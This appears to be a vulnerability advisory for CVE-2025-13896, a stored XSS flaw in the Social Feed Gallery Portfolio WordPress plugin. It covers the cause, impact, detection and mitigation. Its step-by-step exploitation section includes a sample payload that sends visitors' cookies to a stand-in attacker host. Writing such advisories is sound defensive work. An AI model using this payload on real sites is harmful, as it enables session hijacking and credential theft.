CVE-2025-13896: 
WordPress vulnerability analysis and mitigation

CVE-2025-13896 is a Stored Cross-Site Scripting (XSS) vulnerability in the Social Feed Gallery Portfolio plugin for WordPress. It affects all versions up to and including 1.3, and was published on December 6, 2025. The flaw allows authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts via the id parameter of the [igp-wp] shortcode, which execute when any user visits an affected page. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is insufficient input sanitization and output escaping of the id parameter processed by the [igp-wp] shortcode handler, classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The vulnerable code is located in includes/public/class-portfolio-shortcode.php at lines 58 and 208 of the plugin. An attacker with at least Contributor-level WordPress access can embed a malicious shortcode containing a crafted id value into a post or page; when the page is rendered, the unsanitized value is output directly into the HTML, executing the injected script in the victim's browser. The attack vector is network-based, requires low privileges, and no user interaction beyond visiting the page is needed (Wordfence, WordPress Trac).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of users who visit pages containing the injected shortcode, impacting both confidentiality and integrity. This can lead to session cookie theft, credential harvesting, defacement of page content, or redirection to malicious sites. The scope is changed (S:C), meaning the impact extends beyond the attacker's own session to affect other users of the WordPress site (Wordfence, Red Hat CVE).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for CVE-2025-13896. The EPSS score is approximately 0.032%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a Contributor-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Gain Contributor Access: Obtain or register a WordPress account with at least Contributor-level privileges on the target site running Social Feed Gallery Portfolio ≤ 1.3.
2. Create or Edit a Post: Navigate to the WordPress editor and create or edit a post or page where the [igp-wp] shortcode can be inserted.
3. Inject Malicious Payload: Insert the shortcode with a crafted id parameter containing a JavaScript payload, for example: [igp-wp id="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the Page: Save and publish the post/page so the injected shortcode is stored in the database.
5. Trigger Execution: When any site visitor (including administrators) loads the affected page, the unsanitized id value is rendered into the HTML and the injected script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Database/Content: WordPress posts or pages containing [igp-wp] shortcodes with suspicious id parameter values, particularly those including <script>, javascript:, onerror=, or encoded variants.
• Logs: Web server access logs showing requests to pages with the [igp-wp] shortcode followed by unusual outbound connections from visitor browsers (detectable via browser-side logging or WAF).
• Network: Unexpected outbound HTTP requests from site visitors' browsers to unknown external domains shortly after loading pages containing the [igp-wp] shortcode.
• File System: No direct file system artifacts expected, as the payload is stored in the WordPress database rather than the file system.

WordPress site administrators should update the Social Feed Gallery Portfolio plugin to a version beyond 1.3 if a patched release is available, or deactivate and remove the plugin until a fix is confirmed. As a workaround, restrict the ability to publish or edit posts containing shortcodes to trusted roles (Editor or Administrator) by adjusting WordPress user role capabilities. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help block exploitation attempts (Wordfence).

The vulnerability was disclosed by Wordfence as part of their threat intelligence program and was picked up by standard vulnerability aggregators including VulnDB, Vulners, and ENISA's EUVD. No notable researcher commentary, vendor statements beyond the initial disclosure, or significant media coverage has been identified for this vulnerability.